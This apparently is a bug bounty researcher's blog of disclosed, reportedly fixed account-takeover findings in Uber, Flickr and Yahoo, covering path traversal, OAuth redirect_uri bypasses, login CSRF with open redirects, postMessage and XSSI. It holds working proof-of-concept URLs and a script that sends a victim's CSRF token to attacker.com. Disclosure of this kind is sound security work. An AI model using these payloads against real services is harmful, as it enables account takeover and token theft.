Old but GOLD Dot Dot Slash to Get the Flag — Uber Microservice

Uber is built on a bunch of microservices, naturally, if you want to interact with microservice, you may want to use some REST apis to do it. Say you want to fetch the driver’s past trip history, you call an API that looks like

https://localhost:1234/partner/PARTNER_UUID/trips?from=2018-01-01&to=2019-01-01

Obviously, all of these are performed in the backend, because usually the internal microservices have no permission check or other security measure to prevent IDOR attack. What’s the point to implement authorization check if all of these API calls are predefined path/variables/host. Users can’t control the call anyway, why bother.

This is only true when user really can’t control the API call, back in early 2018, I found an interesting endpoint in partners.uber.com to fetch for monthly statement of driver, that looks something like this.

https://partners.uber.com/p3/money/statements/view/current

This is call itself has nothing useful but the response is really the reason I got interested

{
  "request": {
    "uri": {
      "protocol": "http:",
      "slashes": true,
      "auth": null,
      "host": "127.0.0.1:123",
      "port": "123",
      "hostname": "127.0.0.1",
      "hash": null,
      "search": "?earnings_structure_type=&locale=en&user_id=xxxxx",
      "query": "earnings_structure_type=&locale=en&user_id=xxxxx",
      "pathname": "/v1/partners/xxxxx/statements/current",
      "path": "/v1/partners/xxxxxx/statements/current?earnings_structure_type=&locale=en&user_id=xxxxx",
      "href": "http://127.0.0.1:123/v1/partners/xxxxx/statements/current?earnings_structure_type=&locale=en&user_id=xxxxxx"
    },
   "token":"ACCESS_TOKEN_OF_USER",
....

It is obvious that the API call is taking current in the https://partners.uber.com/p3/money/statements/view/current, and take current and append it to the end of /v1/partners/xxxxxx/statements/, as the response suggests. Also the query part is added to the call as well. The full internal GET request looks like this

http://127.0.0.1:123/v1/partners/xxxx/statements/current?earnings_structure_type=&locale=en&user_id=xxxx

It is very interesting because of two observations from the response, first big one is that it has the access token of your uber user, and we know why this is interesting.

Second one is that there is no x-auth-header or authorization headers in the request, yet it still return the access token of user in response! It means if we can somehow manipulate the request change my_user_uuid to victim_uuid in the request. Then we can takeover victim’s account by getting their access token from the response

I need to find an endpoint that allow me to do the following things

  • Pass any parameter to that internal GET request
  • Pass encoded character the that internal GET request to get rid of the unnecessary query in behind (%23, i.e. # can break the query part)
  • View the full response

It turns out, a very similar request allowed me to do all that

https://partners.uber.com/p3/money/statements/view/4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa

Response of the GET request

"href": "http://127.0.0.1:123/v1/statements/4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa?earnings_structure_type=&locale=en&statement_uuid=4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa&user_id=your_user_id"

I think the statement uuid 4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa is passed to the internal API GET request for both path and query part. I verifed that by sending this request

https://partners.uber.com/p3/money/statements/view/4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa%2f..%2f4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa

And the response is still the same, it proves ../ is useful for escaping the path! So it is clear what should we do next. Escape all the way through to root, then craft a request looks just like the one that would return access token in response, and cancel the unnecessary part using #

Target request we want to call

http://127.0.0.1:123/v1/partners/victim_uuid/statements/current?earnings_structure_type=&locale=en&user_id=victim_uuid

Request that is under our control

http://127.0.0.1:123/v1/statements/INJECTION_HERE?earnings_structure_type=&locale=en&statement_uuid=INJECTION_HERE&user_id=your_user_id

And this is the final call I came up with

https://partners.uber.com/p3/money/statements/view/15327ef1-2acc-e468-e17a-576a7d12312%2f..%2f..%2f..%2Fv1%2Fpartners%2FVICTIM_UUID%2Fstatements%2Fcurrent%3Fearnings_structure_type%3D%26locale%3Den%26user_id%3DVICTIM_UUID%23

The response is just as expected

http://127.0.0.1:123/v1/statements/15327ef1-2acc-e468-e17a-576a7d12312/../../../v1/partners/VICTIM_UUID/statements/current?earnings_structure_type=&locale=en&user_id=VICTIM_UUID#......

And now we can get any user’s access token by changing the VICTIM_UUID in the request.

Advertisements

The Mystery of postMessage

From time to time we see postMessage bug in H1 hacktivity, some write ups mentioning the word postMessage, but do you really know what is going on with postMessage? Honestly I didn’t, but now I do, after reading the docs and some experiment and a real life bug, I am confident to say I know what it is about finally.

First thing first, the docs tell us postMessage is an attempt to beat “circumvent SOP”, in a controlled way. This sentence should draw every hacker’s attention, SOP bypass is great, but how? Here is some example.

https://example.com/test.html

var popup = window.open('https://ngailong.com');
function post(){popup.postMessage("hi","*")}
setInterval(post,1000);

If https://ngailong.com has no message event listener setup, nothing will happen. If it has message event listener setup, depends how it is setup, it could be vulnerable to XSS or info disclosure.

https://ngailong.com/

window.addEventListener("message", function(event){alert(event.data);}, false);

Since I setup setInterval function to postMessage every 1 second, https://ngailong.com will have an alert box every 1 second accordingly.

What are some real life example use of postMessage?

Maybe something.google.com needs to get the email address of the user, so it needs to fetch the email address from accounts.google.com, CORS is problematic for such a simple task, since it needs server side code change, postMessage is easy and fast, only javascript change is necessary.

This concept seems pretty neat right? The thought that postMessage could ignore fundamental security of web browser (SOP) is very exciting. ANY window can reference ANY other window at any time, X-Frame-Options couldn’t stop you, you can always send something to any window as long as the window has setup a postMessage event listener, right? Not so fast.

From Mozilla

Consequently, any event listener used to receive messages must first check the identity of the sender of the message, using the origin and possibly source properties. This cannot be overstated: Failure to check the origin and possibly source properties enables cross-site scripting attacks.

Oh so every event listener needs to check the identity of the sender of the message, before executing any javascript. This is written in the spec, every developer must have read this note and follow the rules before using postMessage! Unfortunately this is not the case, if the developer forgot to check the event origin in evenListener, it may cause XSS or sensitive information disclosure.

Try the above example again but this time we check the origin.

https://example.com/test.html

var popup = window.open('https://ngailong.com');
function post(){popup.postMessage("hi","*")}
setInterval(post,1000);

If https://ngailong.com has no message event listener setup, nothing will happen. If it has message event listener setup, depends how it is setup, it could be vulnerable to XSS or info disclosure.

https://ngailong.com

window.addEventListener("message", function(event){if (event.origin!="https://ngailong.com"){return}alert(event.data);}, false);

This time, no alert box, the reason is that this time I check if even.origin!=https://ngailong.com, end the function immediately. So posting a message from https://example.com will cause the event.origin equals to https://example.com, thus failing the test.

I hope now you have some understanding of  postMessage. But reading alone is not enough, let’s try to steal the {token} of the below HTML, to see if you really 100% understand what is going on with postMessage.

(These exercise aren’t for the experts, just for someone who want to have a feeling of how postMessage bug works)

Level – 0

var token ="super_secret_token";function receiveMessage(event) { event.source.postMessage(token, event.origin); }window.addEventListener("message", receiveMessage, false);

Level – 1

var token ="super_secret_token";function receiveMessage(event) { if (/^(?:https?:)?\/\/www.target.com/i.test(event.origin)){event.source.postMessage(token, event.origin);}window.addEventListener("message", receiveMessage, false);

You got them all? Good, now go find some postMessage to play.

 

 

The exercise idea is originated from two blog posts from Detectify. Kudos to them.

[Uber] redirect_uri is difficult to do it right

I don’t have automation in my bug hunting, no sqlmap, sublist3r or jsparser. I tried, they just don’t work out for me. Other than a VPS server that help me to brute force certain endpoints to make a poc occasionally, all I have is a Burp Pro license on MBP. This is why you don’t see a lot of tools sharing or methodology sharing from me, not that I don’t want to share, it is because I don’t have those.

site:uber.com site:uberinternal.com site:yahoo.com is my hobby, looking through 15k of requests per day in Burp is daily job. Not going after reflective xss or stored xss except it’s right in my face. Test where the site leads me, check 10 variations of redirect_uri if the site use oauth. Most of my findings are irregular and spontaneous, hope this can answer the questions I keep getting from different channel.

But things that I can share among these irregularities, is the finding itself, I’m sharing a less-known Facebook redirect_uri trick today.

Back in 2016, Uber allow FB login in both login.uber.com and auth.uber.com, when we click login with Facebook button on the page, the flow:

https://facebook.com/xxxx?client_id=xxxxxx&redirect_uri=https%3a%2f%2fauth.uber.com%2flogin%3fnext_url=https%3A%2F%2Frush.uber.com%2Flogin%2F&state=m7QWxxPRNII4VGsCSog0xLJ2KF7e8ynpC2c_OAKkQQk%3D

https://auth.uber.com/login?next_url=https%3A%2F%2Frush.uber.com%2Flogin%2F&state=m7QWxxPRNII4VGsCSog0xLJ2KF7e8ynpC2c_OAKkQQk%3D#access_toekn=xxxx

https://rush.uber.com/login?….#access_token=xxxx

At first glance, it is difficult to spot the problem, (maybe easy for some trained eyes), the thing in the flow is, login endpoint allow further redirect to *.uber.com, because of how browser security works, 302 location header redirect will preserve the anything after hash in the URL. This lead to a conclusion that if it is possible to find open redirect in the next_url parameter, and redirect user to *.uber.com then to attacker controlled site, then we are able to steal the access token in URL.

Cause Uber is not accepting open redirect as valid submission anymore, finding one is not that difficult, one open redirect that still work today is https://login.uber.com/logout

It redirects base on Referer header, try it yourself.

<a href="https://login.uber.com/logout">Click to see</a>

 

If you are paying attention, now you should be able to use these information to figure an exploitation to achieve FB ATO in Uber. Write down your own exploit and try to see if we are sharing the same thoughts in below.

 

 

 

 

 

 

 

 

Here is my exploit.

<a href="https://facebook.com/xxxx?client_id=xxxxxx&redirect_uri=https%3a%2f%2fauth.uber.com%2flogin%3fnext_url=https%3A%2F%2Flogin.uber.com%2Flogout%2F&state=state">Click to leak</a>alert(location.hash)

Maybe you want a step by step explanation, but I rather keep that for you to figure this out, after you finish this tutorial  and all of my previous write-ups, come back here and you should able to know why exploit above work. (This learning process is much better than explaining it all out in this blog post, since there are dozens of article discussed about this already)

This was reported in late 2016. It was fixed promptly, and the fix is good, you should see how they fix it by yourself. I didn’t look back until early 2017.

By the time I look back, I figured Uber FB login is still hosting two whitelisted redirect_uri, they are https://auth.uber.com/login and https://login.uber.com/login

In theory, these should be difficult to exploit against since they have already patched the bug of open redirect, there is no way for me to redirect user to https://login.uber.com/logout again.

Here is the thing starts to get really interesting, let’s have a look at facebook redirect_uri, say, you have https://www.example.com/directory as whitelisted url. Then the variety of redirect_uri should be

redirect_uri=https%3a%2f%2fwww.example.com%2fdirectory -> Passed

redirect_uri=https%3a%2f%2fwww.example.com%2fdirectory%3fparameter%3dvalue -> Passed

redirect_uri=https%3a%2f%2fwww.example.com%2fdirectory%3fparameter%3dvalue%23 -> Failed since %23 in in the end of url

redirect_uri=https%3a%2f%2fwww.example.com%2fdirectory%2f..%2f..%2f -> Failed since it is using ../ to escape directory

All of the above redirect_uri variation is well known and have expected result, let’s look at something I found useful to exploit against Uber.

redirect_uri=https%3a%2f%2fwww.example.com%2fdirectory%252f..%252f..%252fescaped -> PASSED!!

After decoding in 302 response, the Location header now is

https://www.example.com/directory%2f..%2f..%2fescaped

 

Now this is the time to see whether the server accept the encoded slash %2f, usually the server will not accept this and return plain 400 forbidden or 404 not found. Luckily for me, login.uber.com happily accepted this as normalised the directory in server side

i.e.

https://login.uber.com/login -> present login page

https://login.uber.com/logout -> present logout page

https://login.uber.com/login%2f..%2f..%2flogout -> present logout page

 

Hence, combining Uber’s server side normalisation behaviour and Facebook’s acceptance of double url encoded slash, we have another way to takeover Uber’s FB account.

<a href="https://facebook.com/xxxx?client_id=xxxxxx&redirect_uri=https%3a%2f%2flogin.uber.com%2flogin%252f..%252f..%252flogout&state=state">Click to leak</a>alert(location.hash)

This was fixed by removing login.uber.com as the whitelist redirect_uri.

 

Thanks for reading.

1k Per Day Challenge — Earning 30k in 30 Days

It starts with this tweet

Since money is one of the best way to keep hunters motivated, going after a difficult monetary goal would be a fun way to push ourself to limit.

So I decided to set myself a short term target, to get 30k bounty money within 30 days. Here is the summary of my 30 days. (This is not a technical sharing post)

I have to confess that the goal is to earn 30k from 1 Oct to 31 Oct in the tweet, but due to some changes in Yahoo payment policy, I have no choice but to shift the date from Sep 29 to Oct 29, I promise it is still 30 days in total.

I know I am cheating in some way, but hey that’s what hunters do, we cheat a lot to squeeze the bugs, you know what I mean 😉

HackerOne $28,900

Screen Shot 2017-11-01 at 8.13.32 PM

LINE $1,500

Screen Shot 2017-11-01 at 8.41.28 PM

BugCrowd 

Screen Shot 2017-11-01 at 8.43.30 PM

In the end, I got 1,500 + 600 + 28,900 = $31,000 ,which is $1000 more than the challenge, I am happy with the results. I strongly suggest hunters go hunt after LINE, although they pay slowly (2 months), they have really good team with amazing response time and reward. I found 2 authentication problems in them and got 11k in total. It is a target that definitely deserve more attention.

Finally, here to announce my next challenge. Again, 30k in Oct 29 to Nov 29, I will try not to shift the date this time.

PS: Drafting Uber Account Takeover findings, if you want first hand update, here is my twitter @ngalongc 

One More Thing to Check for SSO – Flickr ATO

I have something that is worth sharing when you are testing for SSO system. Hope you can learn something new after reading this blog post.

This bug is about the old login flow of Flickr, please refer to mishre great post to learn about the importance of .data parameter. In short, whoever steal the .data value could takeover victim’s Flickr account.

Like many other bug hunters, I have multiple Yahoo! accounts, at one point, I have Account A session under *.yahoo.com, and have Account B session under *.flickr.com, which is not my intended setup. Then I luckily browse to  https://www.flickr.com/login base on browsing history in URL bar. And then something interesting show up on screen.

 

It said, You are logging in as ngalongc, are you switching your account to ronchan5?

The reason that this page is interesting is not because its content, it is interesting because the URL of that page actually is storing the .data of user temporarily. After some validation, I confirm the .data could be reused. Like thousands of other oauth/sso write-ups, this is the point we need a open redirect and steal the URL by using referer technique.

As you can see on the image, there is a pass parameter in the URL, it turns out the pass parameter is used for URL redirection, it has some whitelist validation in place to prevent open redirect, but it could be bypassed by this payload

https://www.flickr.com/cookie_check.gne?pass=https://www.flickr.com%252f@hackerone.com/yahoo

Now we have everything, open redirect under oauth endpoint, .data in URL, .data could be reused, what is left for this exploit to work for all user?

Victim needs to have exact same scenario as attacker, which is, they have account A authenticated in *.yahoo.com, and account B authenticated in *.flickr.com.

As this scenario is not that common for normal user, this would drastically decrease the security impact of this bug. As learned from OSCP, we will try harder, we will find a workaround to make it work across all user.

I kept observing the login flow, finally I notice one simple fact that could turn this bug works universally. Flickr is vulnerable to Login CSRF.

With this new knowledge, we can first, force victim to login our flickr account while keeping victim’s yahoo session intact, then send the exploit payload to victim have their payload stolen by using the open redirect.

PoC in action

<img
src="https://www.flickr.com/signin/yahoo/?.data={attacker_data_here}&.ys=">
<!-- Above image is CSRF login in action -->

location.href="https://login.yahoo.com/config/validate?.src=flickrsignin&.pc=8190&.scrumb=&.pd=c%3DJvVF95K62e6PzdPu7MBv2V8-&.intl=hk&.done=https%3a%2f%2fwww.flickr.com%2Fsignin%2Fyahoo%2F%3Fredir%3D%2fcookie_check.gne%3Fpass%3Dhttps%3A%2f%2fwww.flickr.com%2525%2532%2535%2532%2566%2540hackerone.com%252Fyahoo&.crumb=";

Image tag is responsible for login csrf in one get request, and then user is redirected to flickr with my open redirect parameter. Once the user is redirected, his .data will be leaked to hackerone.com

Main Takeaway

Try to re-login the different session when you encounter any SSO, maybe the oauth code or authentication token or something unexpected will be stored in the URL, if so, try to steal it with open redirect.

Backdoor of All Flickr API Calls by XSSI

After reporting the Flickr ATO fix bypass, I left Flickr for a few days and go hunt after Uber. I keep changing the target from time to time when I get bored of the target.

When I get back to Flickr, same sort of request keep appearing in the traffic.

https://api.flickr.com/services/rest?page=1&per_page=6&sample_photos_count=8&viewerNSID=67364537%40N02&method=flickr.groups.recommendations&csrf=1502485507%3Ahzg1234451c92j4i%3A285a4685e2ebc8d7a4b4555a54d77395&api_key=b0faaf195123123cf44a4a14e9dabf&format=json&hermes=1&hermesClient=1&reqId=75e70106&nojsoncallback=1

If you have hunted after Flickr, this request should be familiar to you. Two parameters that got my attention, format, and nojsoncallback

Why? Because seems like we can control the response format, if somehow we can change the format from JSON to XML, or HTML, or JSONP. Then we can further investigate for XSS or XSSI. (I assume readers know what XSSI is, if you don’t know, don’t worry, I don’t know about XSSI until I saw Google Bughunter University)

I change the parameter nojsoncallback=1 to nojsoncallback=0, the response is really what I have expected.

jsonFlickrApi({"groups":{"page":1,"pages":17,"perpage":6,"total":100,"group":[{"nsid":"42097308@N00","name":"Less Is More..."......})

This is obviously an XSSI, but it seems there is a few protection in place that prevent the XSSI attack, they are api_key and csrf.

Soon I find out the api_key is used universally, not bounded to any user session. Only obstacle left for the XSSI is csrf.

I need to dig deeper to see where does this csrf come from. I scroll through the Burp traffic and finally, I saw a request, and the method name of the requset is just amazing

https://api.flickr.com/services/rest?method=flickr.site.getCsrf&csrf=a&api_key=3b5d2007fe2f131c60ae514fb65221b4&format=json&hermes=1&hermesClient=1&reqId=&nojsoncallback=0a

The method name is flickr.site.getCsrf, wait, how do we get a csrf token WITHOUT a csrf token? It turns out indeed the user does not need any csrf token to get a csrf token. (Take some time to understand the sentence)

Now we can have a complete PoC.

First, attacker trick victim to visit a malicious site, that host a script to obtain the victim’s csrf token with this script.

 function jsonFlickrApi(a){
 var b = a['token']['_content'];
 location.href="http://attacker.com/csrf_flickr2.php?token=" + b;
}

< script src=https://api.flickr.com/services/rest?method=flickr.site.getCsrf&csrf=a&api_key=3b5d2007fe2f131c60ae514fb65221b4&format=json&hermes=1&hermesClient=1&reqId=&nojsoncallback=0 > < /script >

Attacker now have the victim’s csrf token, meaning a free ticket to all of victim’s API calls, now he can just issue any API calls on victim’s behalf since the only protection against XSSI of Flickr API calls is csrf token, and now it’s in attacker’s hand, game over for victim.

Hope you like this, next write up is also about Flickr Account Takeover, stay tuned.

Reward: 7k

[Uber 8k Bug] Login CSRF + Open Redirect = Account Take Over

Have been hunting Uber bugs for quite a while, and this is my first blog post about Uber bug hunting report, hope you like it.

In response to this tweet and this excellent report, I decided to share one of the most unique issue I found in Uber. OAuth Theft.

TL;DR

This bug is in central.uber.com, it uses oauth as login mechanism, however the CSRF parameter is not used correctly, which allow attacker to take advantage of the misused state parameter to perform open redirect and login CSRF, then steal the access token in URL hash after redirect.

 

Login Flow of central.uber.com

This report starts with the login flow of central.uber.com, a few months earlier, when user press login in central.uber.com, it goes like this.

  1. https://central.uber.com/login?state=/somewhere
  2. https://login.uber.com/oauth/authorize?response_type=code&scope=profile%20history&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https%3A%2F%2Fcentral.uber.com%2Foauth2-callback&state=%2Fsomewhere
  3. https://central.uber.com/oauth2-callback?state=%2F&code=it53JtFe6BPGH1arCLxQ6InrT4MXdd
  4. https://central.uber.com/somewhere

Take some time to read again the login flow, in order to understand this bug, you need to very familiar with the login flow.

When I saw this login flow, my first try to attack this flow is changing the state value from /somewhere to //google.com, to get a potential open redirect, now the flow goes like this.

  1. https://central.uber.com/login?state=//google.com
  2. https://login.uber.com/oauth/authorize?response_type=code&scope=profile%20history&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https%3A%2F%2Fcentral.uber.com%2Foauth2-callback&state=%2F%2fgoogle.com
  3. https://central.uber.com/oauth2-callback?state=%2F%2fgoogle.com&code=it53JtFe6BPGH1arCLxQ6InrT4MXdd
  4. //google.com

Wow, I successfully turn this login flow to a open redirect, a very good start for an oauth login flow. Let’s turn this to something more interesting since Uber does not accept open redirect report 🙁

Since the oauth request is using code instead of token, so even with open redirect we cannot steal anything from this flow. So now we change the request from code to token and see what will happen this time.

  1. https://login.uber.com/oauth/authorize?response_type=token&scope=profile%20history&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https%3A%2F%2Fcentral.uber.com%2Foauth2-callback&state=%2F%2fgoogle.com
  2. https://central.uber.com/oauth2-callback?state=%2F%2fgoogle.com#access_token=xxxxx
  3. No redirect here 🙁

Because there is no valid code value for https://central.uber.com/oauth2-callback, so that there is no open redirect after step 2. If there is no open redirect, nothing we can do to steal that precious access token. We need a workaround, we need a valid code for that oauth2-callback endpoint.

Login CSRF

It is now the perfect moment for Login CSRF to take advantage in moment like this, since the CSRF parameter state is used as redirect purpose, now we can just simply put our attacker’s own valid oauth code to the endpoint oauth2-callback, and send that to victim, so now victim will correctly redirect to attacker controlled page with the leaked access token.

Limitation

Only requirement of this bug is that the user is already have an authenticated session in login.uber.com, since central.uber.com is an official oauth client, every uber user will accept whatever central.uber.com requests by default.

PoC

https://login.uber.com/oauth/authorize?response_type=token&scope=profile%20history%20places%20ride_widgets%20request%20request_receipt%20all_trips&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https%3A%2F%2Fcentral.uber.com%2Foauth2-callback%3fcode%3dattacker_valid_oauth_code&state=%2F%2fhackerone.com

PoC Login Flow

  1. https://login.uber.com/oauth/authorize?response_type=token&scope=profile%20history%20places%20ride_widgets%20request%20request_receipt%20all_trips&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https%3A%2F%2Fcentral.uber.com%2Foauth2-callback%3fcode%3d{attacker_valid_oauth_code}&state=%2F%2fhackerone.com
  2. https://central.uber.com/oauth2-callback?state=%2F%2fhackerone.com&code={attacker_valid_oauth_code}#access_token={victim_access_token}
  3. //hackerone.com#accesstoken={victim_access_token}

Done! Thanks for reading. Let me know what you think, tweet me @ngalongc

 

Update 2017-08-11: Big thanks to @samidrif for saving this write-up, I lost it once, and promise myself won’t lose it again